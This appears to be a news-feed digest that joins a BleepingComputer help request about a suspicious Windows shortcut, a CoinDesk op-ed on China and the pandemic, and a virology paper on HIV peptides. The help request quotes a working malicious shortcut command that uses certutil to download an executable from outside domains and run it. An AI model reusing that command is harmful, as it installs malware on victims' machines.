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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Teddy Fusaro: Coronavirus Is China's Geopolitical Opportunity - CoinDesk - CoinDesk

Teddy Fusaro: Coronavirus Is China's Geopolitical Opportunity - CoinDesk - CoinDesk


Teddy Fusaro: Coronavirus Is China's Geopolitical Opportunity - CoinDesk - CoinDesk

Posted: 06 Apr 2020 01:30 PM PDT

Teddy Fusaro is the chief operating officer at Bitwise Asset Management, a cryptocurrency asset management firm in San Francisco. He has held management and leadership positions at alternative asset management companies for the past decade, and began his career at Goldman Sachs. 

Westerners often say the Chinese word for crisis has two meanings: "danger" and "opportunity." Without passing judgment on the character of the word (wēijī, 危机), my assessment is that this is a time of great opportunity for the People's Republic of China, the Communist Party of China (CCP) and its General Secretary, the President of China, Xi Jinping. And it is a time of great danger for the existing world order and the United States' role within it. 

The existing world order was formed in the era of American empire and hegemony, a world defined by the growth of capitalism and spread of democracy; a system that has existed since the middle of the twentieth century, where the United States controls trade routes, extends military power and possesses the most powerful object in the world: the global reserve currency, the United States dollar. 

See also: Michael Casey – China Seizes the Blockchain Opportunity. How Should the US Respond?

In a post-coronavirus world, the U.S. risks losing its status as leader of the free world and, with it, the claim to a set of ideals framed in our Constitution. The power on the other side of that dichotomy is the world's great emerging power, the People's Republic of China, and its authoritarian system of state capitalism.

Xi's War on 'COVID-19'

At first, the Chinese Communist Party, by all accounts, reeled from the disaster, too. The government silenced those who spoke out about it, obviously obscured the data related to those who were sick and have died (this they continue to do), and refused entry of international health officials. 

As the virus spread, Communist Party of China Foreign Ministry spokesman Zhao Lijan began promoting a theory that members of the U.S. Army who visited Wuhan in October 2019 brought the virus to China. CCP state media organs repeated the story, and the U.S. State Department summoned the ambassador to the U.S. and used strong language to denounce the accusation.

The State Department release says that "Secretary of State Michael R. Pompeo spoke by phone on March 16 with Yang Jiechi, Director of the Office of Foreign Affairs of the Communist Party of China. Secretary Pompeo conveyed strong U.S. objections to PRC efforts to shift blame for COVID-19 to the United States."

See also: Teddy Fusaro – The US Needs a Wartime Effort to Win the Coronavirus Battle

Furthermore, the CCP propaganda machine has taken great lengths to establish and brand the global pandemic as "COVID-19," instead of allowing any geographically descriptive naming convention to take root. The CCP has found a willing dance partner in the Western political left and associated media, both constituencies always eager to promote cultural togetherness (a noble cause, no doubt).

Political divisions within the United States have aided in turning this into a left/right issue, with the President referring antagonistically to COVID-19 as "ChinaVirus" and being pilloried in response by the left-leaning political commentariat, already inflamed by the early failures of the U.S. response, and reeling itself from its lack of teeth in waiting so long to cover the crisis in broad publications. Meanwhile, whitewashing the Chinese association from the pandemic's global nomenclature (many prior pandemics are descriptively termed based on their regional origin, such as Zika, West Nile virus, the Spanish flu, Ebola, etc.) is a key part of the strategy to separate China from its role as initial source of the of the outbreak and smoothes the transition into its preferred and powerful narrative as defender of the globe and supplier of medical equipment to stricken nations.

The CCP did, however, buy the entire world critical time – a month or more – to prepare for what was coming by implementing draconian measures to close entire cities and economies and implementing social distancing by force and mandate. Reports indicate that, once taken seriously, the CCP and President Xi executed and implemented the pandemic playbook with precision and authority (keeping people inside and separate, cancelling public events, requiring the wearing of masks in public in affected areas, etc.).

The CCP's ability to control, decide, and enact appears at this moment in stark contrast to the American model.

By that time, any reasonable person with a spreadsheet and a basic understanding of exponential math knew the risk of COVID-19 spreading across the globe was high. But Western governments, including the one that leads the world, our government in Washington DC, failed to respond to take advantage of that window.

Instead, as the United States cannot even internally allocate resources to deal with our sick and dying, China is manufacturing medical equipment and supplies, and shipping it to the rest of the world. And the all-important publicity campaign – coordinated through diplomats, official and unofficial CCP spokespeople, global media, state media, and non-governmental organizations – of announcing these provisions of aid to virus stricken countries has been equally strong.

The CCP media strategy is to ensure the announcement of this aid (which, it should be accurately noted, is gracious, life-saving, and a blessing for many in need) is widely publicized, so that credit is given where credit is due. A very specific image is being curated.

The picture being drawn across the internet, if you zoom out enough, is of one a world power in decline – hardly able to fight the virus on its own home turf – while another one rises to the occasion, and not only stops the virus at home, but extends that leadership abroad, saving lives in countries around the planet.

The dream of revival

In "Age of Ambition: Chasing Fortune, Truth, and Faith in the New China" Evan Osnos describes one of the most startling things he observed upon returning to China after a near-decade hiatus in 2012.

It was the striking change in Chinese culture's interpretation of the word "ye xin" – the Chinese word for "ambition." The literal interpretation of the word is "wild heart" and had previously "carried the suggestion of savage abandon and absurd expectations – a toad who dreams of devouring a swan, as an old saying had it." But in the near decade that had passed before he returned to China in 2012 – just in that small amount of time – the word's meaning and power had changed dramatically.

Children's books, self-help books for adults, television programs, talk shows, and the news, all spoke of the pioneering spirit of the "wild heart" of ambition.

China has been one of the world's great powers – or its greatest power – for most of human history. And the last 30 years of growth in China have been nothing short of shocking when viewed on historical scale. It is beyond the scope of this piece to put that growth into context, but I will point out that in 1872, the United States had "per capita income" of three thousand dollars per year, and it took nearly 60 years for the U.S. to go from there to seven thousand. China did it in seven years between 2000 and 2007.

See also: China Has Many Strategic Reasons to Invest in Blockchain

The growth of China into the second most powerful country in the world is so shockingly abrupt that it doesn't actually look real on a long-term chart. In 1978 U.S. President Jimmy Carter officially announced the recognition of the Communist government in Beijing. In just 40 years, it has become the second largest economy in the world, and the engine of the world's growth.

In recent years, China has also begun to flex its military muscle in the region, antagonizing the Philippines, Vietnam and others, while strengthening its military power in the South China Sea. It has increased its military activity generally, begun conducting naval maneuvers and exercises, and has constructed military and industrial outposts on artificial islands in disputed waters. World powers historically extend military strength first across their networks of important trade routes, and this pattern looks no different. The CCP understands more well than anyone else it's growing power on the world stage. Lux Xun, China's greatest modern writer, wrote that "hope is like a path in the countryside. Originally, there was no path, but once people begin to pass, a way appears."

It is broadly accepted by historians that major shifts in geopolitical relationships — wars, phase transitions, shifts in balances of power – often coincide with massive disruptions to economies – debt crises. History shows that politics, power, and economics are always tightly intertwined. COVID-19 is an opportunity for the CCP. 

A system worth defending

Capitalism, and systems of government that work functionally alongside and through it, has proven to be the greatest system in the history of the world for raising humans out of poverty, increasing total wealth levels and distributing opportunity across populations. Humans are now happier, healthier, less violent, more rich, and live a better lifestyle than at any time in human history. And that success is now more widely distributed from top to bottom than at any time since humans walked the earth (and this despite the very real growing wealth gaps and common misunderstanding of just how good things have gotten). Freedom, liberty, capitalism, the free press and the free market – western liberalism – have given humans the ability to express themselves and behave as they see fit like never before, and has given us the greatest improvement in living standards in the history of the earth. But a new model has arisen in the East – Chinese State Capitalism – and its time may have arrived.

The United States World Order, with the U.S. as the pre-eminent world power, has allowed Americans in particular to enjoy many advantages. Status as the issuer of the world's reserve currency brings an economically advantageous, cyclically reinforcing wealth creation mechanism and a durable advantage over all other nations in the world. In addition to its military might, the U.S. dollar's reserve status is the most powerful tool in the American arsenal. That status is at risk in initiatives like China's digital currency

The CCP's ability to control, decide, and enact appears at this moment in stark contrast to the American model of disagreement, disorganization and delay.

Disclosure

The leader in blockchain news, CoinDesk is a media outlet that strives for the highest journalistic standards and abides by a strict set of editorial policies. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups.

Analysis of Major Histocompatibility Complex-Bound HIV Peptides Identified from Various Cell Types Reveals Common Nested Peptides and Novel T Cell Responses - Journal of Virology

Posted: 26 Aug 2018 02:54 AM PDT

ABSTRACT

Despite the critical role of epitope presentation for immune recognition, we still lack a comprehensive definition of HIV peptides presented by HIV-infected cells. Here we identified 107 major histocompatibility complex (MHC)-bound HIV peptides directly from the surface of live HIV-transfected 293T cells, HIV-infected B cells, and primary CD4 T cells expressing a variety of HLAs. The majority of peptides were 8 to 12 amino acids (aa) long and mostly derived from Gag and Pol. The analysis of the total MHC-peptidome and of HLA-A02-bound peptides identified new noncanonical HIV peptides of up to 16 aa that could not be predicted by HLA anchor scanning and revealed an heterogeneous surface peptidome. Nested sets of surface HIV peptides included optimal and extended HIV epitopes and peptides partly overlapping or distinct from known epitopes, revealing new immune responses in HIV-infected persons. Surprisingly, in all three cell types, a majority of Gag peptides derived from p15 rather than from the most immunogenic p24. The cytosolic degradation of peptide precursors in corresponding cells confirmed the generation of identified surface-nested peptides. Cytosolic degradation revealed peptides commonly produced in all cell types and displayed by various HLAs, peptides commonly produced in all cell types and selectively displayed by specific HLAs, and peptides produced in only one cell type. Importantly, we identified areas of proteins leading to common presentations of noncanonical peptides by several cell types with distinct HLAs. These peptides may benefit the design of immunogens, focusing T cell responses on relevant markers of HIV infection in the context of HLA diversity.

IMPORTANCE The recognition of HIV-infected cells by immune T cells relies on the presentation of HIV-derived peptides by diverse HLA molecules at the surface of cells. The landscape of HIV peptides displayed by HIV-infected cells is not well defined. Considering the diversity of HLA molecules in the human population, it is critical for vaccine design to identify HIV peptides that may be displayed despite the HLA diversity. We identified 107 HIV peptides directly from the surface of three cell types infected with HIV. They corresponded to nested sets of HIV peptides of canonical and novel noncanonical lengths not predictable by the presence of HLA anchors. Importantly, we identified areas of HIV proteins leading to presentation of noncanonical peptides by several cell types with distinct HLAs. Including such peptides in vaccine immunogen may help to focus immune responses on common markers of HIV infection in the context of HLA diversity.

INTRODUCTION

HIV-specific T cells play an important role in the containment of infection as evidenced by the concurrent drop of viral load and the appearance of HIV-specific CD8 T cells in acute infection, T cell-driven immune pressure leading to predictable HLA-restricted HIV mutations, and the association between specific HLAs and epitopes or immune responses to specific proteins and spontaneous control of HIV. However, the lack of clear correlates of immune protection hampers efficient vaccine design (1).

Screening and functional studies of T cells from HIV-infected persons or vaccinees use high nonphysiological concentrations of long HIV peptides exogenously pulsed onto cells or soluble major histocompatibility complex (MHC)-peptide multimers presenting peptides of optimal size (2, 3). These approaches bypass all steps required for intracellular antigen processing and presentation of HIV peptides by MHC class I (MHC-I) molecules (4). Determination of the amounts and sequences of peptides presented by an infected cell remains largely elusive despite the role of the peptides in immune recognition.

Direct mass spectrometry (MS)-based sequencing has become a preferred and yet difficult approach for the unbiased identification and characterization of peptides naturally presented by MHC-I molecules displayed by healthy and cancerous cells or in the context of pathogen infection. However, considering the relatively low number of MHC-peptide complexes per cell and the potential MS detection limits, the majority of the data on self-, cancer, or pathogen MHC peptidomes come from immortalized cell lines (58) or from models using cell lines engineered to secrete soluble MHC-bound peptide complexes (911), as both systems allow growth of high numbers of cells for peptide isolation. The improvements in peptide isolation and MS-based approaches led to the discovery of numerous MHC-I ligands presented by B cells or by patients' tumors (1214) and the identification of virus-derived MHC-bound peptides, including vaccinia virus and HIV presented by surface or soluble HLA (5, 9, 1517). These approaches identified self- and virus-derived noncanonical peptides and demonstrated that direct identification of peptides from infected cells will define the immunopeptidome relevant for the design of HIV immunogens.

We aimed at assessing common and distinct HIV peptides displayed by various cell types expressing a variety of HLAs. We established a MS-based approach to identify MHC-bound peptides eluted directly from the surface of live cells and a targeted MS3 approach to identify HLA-A02-bound peptides. We identified HIV-derived peptides presented by HIV-transfected 293T cells, cells from B cell lines, and primary CD4+ T cells infected with HIV that included peptides of canonical and noncanonical lengths. The presentation of noncanonical previously unreported HIV peptides identified on live cells was confirmed through direct identification of peptides bound to HLA-A02. Surface peptides included nested sets presented by various cell types expressing different HLAs, revealing many previously unreported epitopes eliciting novel T cell responses in HIV-1-infected persons. Cytosolic degradation of long precursors of surface peptides in matching cells confirmed the production of common surface peptides and also identified cell type-specific degradation peptides. The direct identification of commonly presented peptides by various infected cell subsets—specifically, novel noncanonical peptides—may guide the design of novel immunogens eliciting immune responses relevant to the recognition of infected cells at the population level.

MATERIALS AND METHODS

Ethical statement.Peripheral blood mononuclear cells (PBMC) were isolated from buffy coats collected from anonymous blood donors approved by the Partners Human Research Committee (Boston, MA, USA) under protocol 2005P001218. PBMC from HLA-typed blood donors were obtained after written informed consent and approval under protocol 2010P002121 for HIV-negative (HIV) donors and protocol 2010P002463 for HIV-positive (HIV+) donors.

Cells, HIV transfection, and infection.Epstein-Barr virus (EBV)-immortalized B cell lines were obtained and maintained as described in reference 18. 293T cells were purchased from ATCC. Primary CD4 T cells were isolated by immunomagnetic selection from PBMC of healthy anonymous blood donors as described in reference 19 and activated with CD3/28 Dynabeads for 3 days before infection. 293T cells were cotransfected with NL4-3 HIVΔEnv-GFP (HIVΔEnv-green fluorescent protein) and vesicular stomatitis virus-g (VSVg) (HIV-GFP-VSVg), B cells infected with NL4-3 HIV-GFP-VSVg, and primary CD3/28-activated CD4 T cells with replicative NL4-3 as described in reference 20. Virus produced by 293T cells was harvested 2 days posttransfection, and HIV-infected cells were used for peptide elution 3 to 4 days after infection. HIV expression was monitored by fluorescence-activated cell sorter (FACS) analysis through GFP or intracellular HIV p24 expression (clone 24-4; Santa Cruz Biotechnology).

Acid elution of surface peptides from live cells.A total of 5 × 107 293T-HIV or B-HIV cells and 2 × 107 CD4T-HIV cells or control uninfected cells were subjected to mild acid treatment by resuspension in 500 μl and 300 μl acetic acid (10%), respectively, for 1 to 2 min. The acid supernatants containing eluted peptides were collected by centrifugation at 1,000 rpm for 5 min. The pools of eluted peptides were immediately passed through an ultrafiltration device (Amicon Ultra; Millipore) to isolate peptides of <3,000 Da. The resulting flowthrough-containing pools of MHC-eluted peptides were stored at −20°C until analysis by liquid chromatography-electrospray ionization-tandem MS (LC-ESI-MS/MS) using the method described in reference 21. As a control for acid elution, cells were subjected to a similar PBS treatment and the supernatant was analyzed by LC-ESI-MS/MS; no peptides were detected after PBS elution. The cell viability after the brief acid treatment was monitored and analyzed by the use of a NucleoCounter NC-200 cell counter and NucleoView NC-200 software (Chemometec) and reached 79% to 90%.

Peptide displacement assay.A total of 5 × 107 B cells were pulsed with synthetic HIV-derived peptides consisting of 2 optimal HLA-matched HIV epitopes and 2 optimal non-HLA-matched HIV epitopes. HIV peptides were pulsed onto cells at ∼3.5 μg/ml of each peptide in a total volume of 300 μl serum-free RPMI 1640 for 45 min at 37°C. Peptides were isolated from the cell surface by mild acid treatment as described above.

Separation and MS/MS analysis of total surface peptides.Eluted peptides were subjected to reverse-phase microcapillary nanoLC-ESI-MS/MS analysis using an Eksigent high-performance LC (HPLC) system (Eksigent) directly interfaced with an Orbitrap LTQ XL mass spectrometer (Thermo Fisher). The pools of eluted peptides obtained from HIV-1-transfected and -infected and control cells were individually loaded at 8 μl onto a ChromXP C18 5-μm-pore-size cHiPLC capillary column (Eksigent) (75 μm by 15 cm). Peptides were resolved with a shallow gradient consisting of aqueous mobile phase A (0.1% formic acid [FA]–water) and organic mobile phase B (0.1% formic acid–100% acetonitrile) formed in 180 min with a flow rate of 250 nl/min under the following conditions: 0% phase B for 5 min and 0% to 55% phase B formed in 120 min, followed by a 25-min gradient consisting of 55% to 80% solvent B (0.1% formic acid–100% acetonitrile). Solvent B was maintained at 80% for another 15 min and then decreased to 0% in 15 min. Another 15-min interval was used for equilibration, loading, and washing. During the gradient procedure, the eluted ions were analyzed by full precursor MS scans acquired with an FT Orbitrap analyzer operated at a resolving power of 30,000 (400 to 2,000 m/z). MS spectrum analysis was followed by determinations of eight MS/MS spectra, where the eight most abundant multiply charged ions were selected for MS/MS sequencing. Tandem MS experiments were performed using collision-induced dissociation in the FT Orbitrap mode with a resolution setting of 7,500 to ensure high mass accuracy and resolution of the analyzed peptides.

Database search for MHC HIV peptidome.Raw high-resolution data were analyzed with Proteome Discoverer 1.4 (Thermo Fisher) software and searched against a Swiss-Prot database restricted to viral and/or human entries and against a custom-made viral database (that included sequences of HIV, adenovirus type 5 [Ad5], EBV, and VSVg) by using a combination of the MASCOT and Sequest search engines. Searches were performed with no defined enzyme specificity and included methionine oxidation as the variable modification. The mass tolerance precursor settings were 5 ppm and 0.02 Da for fragment ions to ensure high accuracy of identified sequences. Alternatively, to search for potential missing HIV peptides, the mass tolerance was set to the instrument default values of 10 ppm for precursor and 0.8 Da for fragment ions. All sequence assignments were made with a 1% false-discovery rate (FDR). None of the HIV peptides identified on HIV-infected cells in the search against the viral database were detected when the list was searched against the human proteome. HIV-derived peptides were identified only among the peptides eluted from infected cells and not among those eluted from uninfected cells. The candidate MHC peptides identified were selected based on their presence in replicate samples. Unambiguous confirmation of the sequences of a subset of identified HIV peptides was obtained by comparing their MS/MS spectra to the spectra of their corresponding synthetic peptide analogs subjected to LC-MS/MS analysis under identical conditions. All identified peptides were subjected to BLAST searches against the nonredundant Swiss-Prot database restricted to viral entries to identify their corresponding source proteins (Gene ID).

Isolation and identification of HIV-derived HLA-A02 peptides by a targeted MS3 approach.HLA-A02 molecules were isolated by immunoprecipitation (IP) using a method slightly modified from that reported in reference 22. Briefly, pellets of 4 × 108 to 6 × 108 293T-C and 293T-HIV cells were lysed in PBS containing 1.2% CHAPS {3-[(3-cholamidopropyl)-dimethylammonio]-1-propanesulfonate}, and lysates were obtained by centrifugation (22,000 × g, 30 min, 4°C). HLA-A02–peptide complexes were immunoprecipitated from cell lysates with an anti-HLA-A02 antibody (clone BB7.2) coupled to GammaBind Plus Sepharose beads (GE Healthcare, Uppsala, Sweden). Subsequently, peptides were eluted from the isolated HLA-A02–peptide complexes with 0.2% trifluoroacetic acid (TFA), desalted with a Seppak cartridge (Waters Corp., Milford, MA), vacuum dried, and frozen until nano-ultraperformance LC-MS3 (nano-UPLC-MS3) analysis.

HLA-A02-bound peptides isolated were resuspended in 3% acetonitrile (CAN)–0.1% FA–0.01% TFA for nanoLC-MS3 analyses that were performed using a nanoACQUITY UPLC system (Waters Corp.) coupled to a QTRAP6500 mass spectrometer (Ab Sciex, Darmstadt, Germany). Peptide samples were loaded on a nanoACQUITY UPLC BEH C18 analytical column (Waters) (0.075 by 250 mm). Peptides were resolved with a linear gradient consisting of 97% eluent A (0.1% FA–0.01% TFA–water) and 10% eluent B (0.1% FA–0.01% TFA–acetonitrile) for 1 min followed by a 50-min linear gradient consisting of 40% eluent B with a flow rate of 300 nl/min. The mass spectrometer was run in a low-mass hardware profile operating in positive mode. The nano-ESI voltage was 3,000 V, and the resolution of the first quadrupole (Q1) and the third quadrupole (Q3) was set to the unit resolution.

To specifically target the identification of 2 HIV peptides already identified from the total surface peptidome of HIV-infected cells, namely, Gag p15 KIWPSHKGRPGNF (KF13) and p24 EPFRDYVDRFY (EY11), the MS spectra of IP samples were compared to the spectra of their respective synthetic reference peptides (Bio-Synthesis). A minimum of three fragments with the best signal-to-noise ratios was assigned per peptide during direct injection of synthetic peptides for MS3 analysis. Every fragment measured by MS3 was at least 5 amino acids (aa) in length to unequivocally establish fragment identity. Critical MS parameters (e.g., declustering potential, collision energy, and excitation energy) were manually optimized to achieve the best sensitivity for m/z of precursor and fragment ions of the following targeted HIV peptide sequences: HIV Gag p24 EPFRDYVDRFY (MH-H2O3+ [502.90:496.90]; b5-H2O [502.90:627.29]; y102+ [753.85:689.33]; MH-H2O2+ [753.85:744.85]) and HIV Gag p15 KIWPSHKGRPGNF (y112+ [508.61:641.83]; y102+ [508.61:548.79]; and y122+ [508.61:698.37]). Finally, the MS results obtained for the targeted HLA-A02 isolated HIV peptides were manually compared to the MS results obtained for the synthetic peptides by using Analyst 1.6.2 (AB SCIEX) software. MS3 spectra of HLA-A02-eluted peptides were compared to those of synthetic peptides using a Poisson probability metric (described in reference 23).The identity of the targeted peptides was confirmed by their retention times, chromatographic profiles, and MS3 spectra corresponding to each transition. To ensure successful HLA-A02 peptide isolation, two self-derived endogenous HLA-A02-bound peptides, AIVDKVPSV from coatomer subunit gamma-1 and YLLPAIVHI from ATP-dependent RNA helicase DDX5 (24), were similarly identified by targeted MS3 as positive controls in each sample (data not shown).

HIV peptide characterization and mapping.The presence of specific motifs and the anchor preferences of surface HIV peptides for HLAs of matching cells were determined based on the sequence logo characteristic of HIV-1 epitopes reported in the HIV Los Alamos National Laboratory (LANL) database (25) and for anchor motifs evaluated based on the classification of HLA class I supertypes reported in reference 26. Sequence logos specific for HIV-1 epitopes were created based on epitope length, sequence, and HLA class I anchor residues with WebLogo (http://weblogo.berkeley.edu/logo.cgi) (27). Mapping of surface HIV peptides and known HIV epitopes relative to the HIV-1 HXB2 reference sequence was performed by the use of macros developed in-house.

In vitro peptide degradation assay.Pure peptides (2 nmol) were digested at 37°C for 30 to 240 min with 15 μg of cytosolic extracts of matching cells (293T cells, B cells, and primary CD4 T cells) (20). The degradation was stopped with 2.5 μl of 100% formic acid, and peptide fragments were purified by the use of 5% trichloroacetic acid (TCA) precipitation. Degradation peptides generated in 2 to 3 independent degradation experiments were identified by in-house LC/MS-MS as previously described (20, 21, 28).

Elispot assays.Enzyme-linked immunosorbent spot (Elispot) assays were performed on PBMC from HIV-negative and HIV-positive donors (spontaneous controllers and chronic progressors on or off antiretroviral therapy [ART]) as described in reference 2. Peptides were added at a final concentration of 2 μg/ml to 105 PBMC/well and included 23 surface HIV peptides (1 per well), 1 well with a mix of 14 Gag peptides (Gag pool), one well with 19 Env (Env pool), and one well with cytomegalovirus (CMV) lysate and phytohemagglutinin (PHA) as a positive control, all in triplicate wells. Responses were considered positive when the number of spots exceeded 5 per well (50 spot-forming cells [SFC]/106) and exceeded at least ≥3 times the mean background of unstimulated control wells.

RESULTS

Validation of the approach used to identify MHC peptides eluted directly from live cells.We developed a high-resolution LC-MS/MS approach to identify peptides directly eluted by mild acid treatment from a low number of live cells compatible with human primary samples. To validate the approach and provide evidence of isolation of MHC-bound peptides, an EBV-immortalized B cell line was pulsed with a mix of HLA-matched and HLA-mismatched HIV epitopes before peptide isolation by mild acid elution and identification by LC-MS/MS identification in triplicate runs. The B cell line expressing HLA-A03/11, HLA-B35/51, was pulsed with equal amounts of HLA-matched optimal HIV epitopes (HLA-A03/11 ATK9 [AIFQSSMTK in reverse transcriptase {RT}]; HLA-B35 DL9 [DPNPQEVVL in gp120]) and HLA-mismatched epitopes (HLA-A01 IY9 [ISERILSTY in Rev]; HLA-B57 ISW9 [ISPRTLNAW in Gag]). The LC-MS/MS analyses identified only HLA-matched HIV peptides and no HLA-mismatched peptides at the surface of B cells, showing that our approach selectively identified MHC-bound peptides (Fig. 1A and B). To further validate the approach used for surface peptides derived from endogenous proteins, we analyzed MHC-bound virus-derived peptides from EBV-immortalized B cell lines and 293T cells expressing EBV and adenovirus proteins, respectively. Accordingly, we identified three adenovirus 5 (Ad5) hexon-derived peptides on 293 T cells and 5 EBV-derived peptides on EBV-immortalized B cell lines (Fig. 1C and D and data not shown). The proteome analysis of the cell lines by trypsin digest and LC-MS/MS confirmed the presence of Ad5 hexon and EBV proteins in the cell lines (data not shown). These results show that this approach selectively identifies MHC-bound peptides.

FIG 1

Validation of the strategy to identify MHC-bound peptides from the surface of live cells. (A and B) MS/MS identification of MHC-bound HIV peptides A03/11-ATK9 (AIFQSSMTK) (A) and B35-DL9 (DPNPQEVVL) (B) after the pulse experiments and subsequent elution from the HLA-A03/B35 B cell line. HLA-mismatched peptides restricted by A01 and B57 simultaneously pulsed on the same cells were not detected. (C and D) Tandem mass spectra of Ad5 hexon-derived AI10 ANATNVPISI (C) and EBV-derived AL16 SSGSGGDDDDPHGPVQL (D) peptides eluted from 293T and B cell lines, endogenously expressing Ad5 and EBV proteins, respectively.

Identification of HIV-derived MHC-bound peptides from various cell types.We used three independent approaches to identify HIV-derived peptides: transfection of 293T cells with NL4-3 HIV-ΔEnv-GFP pseudotyped with VSVg (293T-HIV); infection of a B cell line, B-MDC, with this nonreplicative virus (B-MDC-HIV); and infection of primary CD4 T cells with replicative NL4-3 (CD4T-HIV). 293T cells and primary CD4 T cells were both HLA-A02 positive (HLA-A02+). The HLA diversity of the three cell types was used to determine if specific proteins or protein areas could be well presented regardless of the HLA status of the donors. Peptides were isolated 2 to 4 days after transfection or infection in 2 to 4 independent experiments and identified by LC-MS/MS in triplicate runs. We identified 66 high-accuracy HIV peptides from 293T-HIV cells, 20 from B-MDC-HIV cells, and 39 from CD4T-HIV cells, representing a total of 107 distinct HIV peptides (Table 1). No HIV sequences were identified from uninfected cells. Most (64% to 80%) HIV peptides were 8 to 12 aa long, but 17% to 31% of the longer (13-to-18-aa) noncanonical peptides were also identified in all three cell types. The distributions are in accordance with the size distributions of HIV peptides isolated from HIV-infected T cell lines (9, 17) and were similar for HIV-derived and self-derived peptides. However, the total number of self-peptides (601 to 1,184) was expectedly higher as observed in HIV and other viral infections (5, 9, 17, 29). In all three cell types, the majority of HIV peptides were derived from structural proteins Gag and Pol, although in differing proportions (Fig. 2D). Surprisingly, a majority of Gag peptides were derived from p15 rather than the more immunogenic Gag p24 in all three cell types (30% to 59% of total HIV peptides). The contributions of polymerase and accessory proteins to surface HIV peptides differed between cell types. Higher abundance of Gag and Pol peptides was observed in several independent transfections of 293T cells and in infections of different B cell lines and of primary CD4 T cells from two different donors. We validated the identification of HIV peptides, specifically, that of the noncanonical peptides never previously identified as HIV epitopes, by showing that the fragmentation spectra of acid eluted peptides and the fragmentation spectra of their synthetic counterparts were identical (data not shown).

TABLE 1

Naturally processed HIV-derived peptides eluted from live cellsa

FIG 2

Distribution of surface-eluted MHC peptides. (A to C) HIV-derived peptides identified during HIV transfection of 293T cells (A) and HIV infection of B-MDC cells (B) and CD4+ T cells (C) are shown in red. Coeluted identified "self"-peptides are shown in blue. We identified 66, 20, and 39 HIV peptides and 1,184, 942, and 601 self-derived peptides at the surface of 293T, B-MDC, and CD4 T cells, respectively. The corresponding subpanels indicate the rate (percent) of HIV transfection or infection. (D) Protein distribution of HIV-derived peptides based on the HXB2 subprotein map. HIV subproteins include Gag p24, p17, p15, polymerase integrase (Int), protease (Prot), reverse transcriptase (RT), RNase, Gag-Pol transframe (TF), Vpr, and Rev.

The majority of identified HIV peptides overlapped areas containing epitopes reported in the Los Alamos Los Alamos National Laboratory (LANL) HIV database that corresponded to those in the lists of epitopes defined through either fine mapping or partial mapping (in lists A and B, respectively, in Fig. 3A, where Gag, Pol, Vpr, and Rev Los Alamos National Laboratory [LANL] epitope density is color-coded) (25). However, some peptides eluted from either cell type did not overlap epitope-containing areas (Fig. 3A, boxed). A total of 5% to 10% of identified peptides corresponded to optimal HIV epitopes listed in the LANL HIV database such as HLA-A02-restricted A02-MV9 (MTNNPPIPV), A02-RV10 (RVLAEAMSQV), and A11-KK10 (KCGKEGHQMK) in Gag eluted from HLA-A02+ 293T cells. The majority (80% to 91%) of peptides partly overlapped known reported epitopes by >5 aa, while 5% to 20% did not overlap any known HIV epitopes. Eluted peptides tended to cluster in groups of nested overlapping peptides (Fig. 3B and Table 1).

FIG 3

Comparison of surface-eluted MHC peptides with LANL HIV-1 epitopes. (A) Sequence overlap of known HIV-1 CTL epitopes and surface-eluted HIV peptides based on the sequence of reference HIV-1 HXB2. Finely mapped HIV CTL epitopes (list A) and broadly defined CTL epitopes (list B) are mapped above peptides eluted from 293T cells, B cells, and primary CD4 T cells. Known epitopes and HIV surface peptides are mapped according to density (1 to 3 epitopes in yellow and >3 epitopes in red). Solid boxes indicate distinctive epitope-containing areas, and dashed boxes indicate areas with higher epitope density that that in the reference map. (B) Distribution of identified HIV peptides among known HIV epitopes (lists A and B in red shades), overlapping known CTL epitopes by >5 aa (blue), and not overlapping any known CTL epitopes (yellow). (C) Mapping of surface peptides in Gag-p17 and Gag-p15 identified in 293T-HIV (blue), B-HIV (green), and CD4T-HIV (red). HIV CTL epitopes and their HLA restrictions are indicated with arrows above the sequence. Gray lines above the sequences designate the densities of all reported HIV-1 CTL epitopes. Stars indicate peptides presented by two cell types, and nested sequences are highlighted in boxes.

Our initial search parameters were set to identify peptides at the highest accuracy (variation of 5 ppm of theoretical mass, 1% FDR) and thus prevented false-positive identifications. However, the search did not identify peptides corresponding to the most frequent immune responses in HIV-infected persons. When we reanalyzed the data with the slightly less stringent and yet acceptable criteria used in the immunopeptidome field (10 ppm, 1% FDR), we identified additional HIV peptides (11 on B-MDC-HIV cells, 7 on 293T-HIV cells, and 13 on primary CD4 T cells), including multiple optimal HIV epitopes matching the HLA type of the cells such as Gag B57-ISW9 (ISPRTLNAW in Gag) on HLA-B57+ B-MDC cells, A02-IV9 (ILKEPVHGV in RT) on HLA-A02+ 293T cells, or HLA-A02-EV9 (ELRSLYNTVA in Gag p17) or A02-KV10 (KLWVTVYYGV in gp120) on HLA-A02+ primary CD4 T cells (Table 2). The distribution analysis of all surface peptides showed a majority of Gag and Pol peptides, and 8% to 13% of the peptides were located in areas devoid of known immune responses (data not shown). These results suggest that some optimal peptides corresponding to frequent immune responses may have been presented in lower abundance.

TABLE 2

Lower-accuracy MHC class I-restricted HIV epitopes naturally presented by 293T-HIV and B-MDC-HIVa

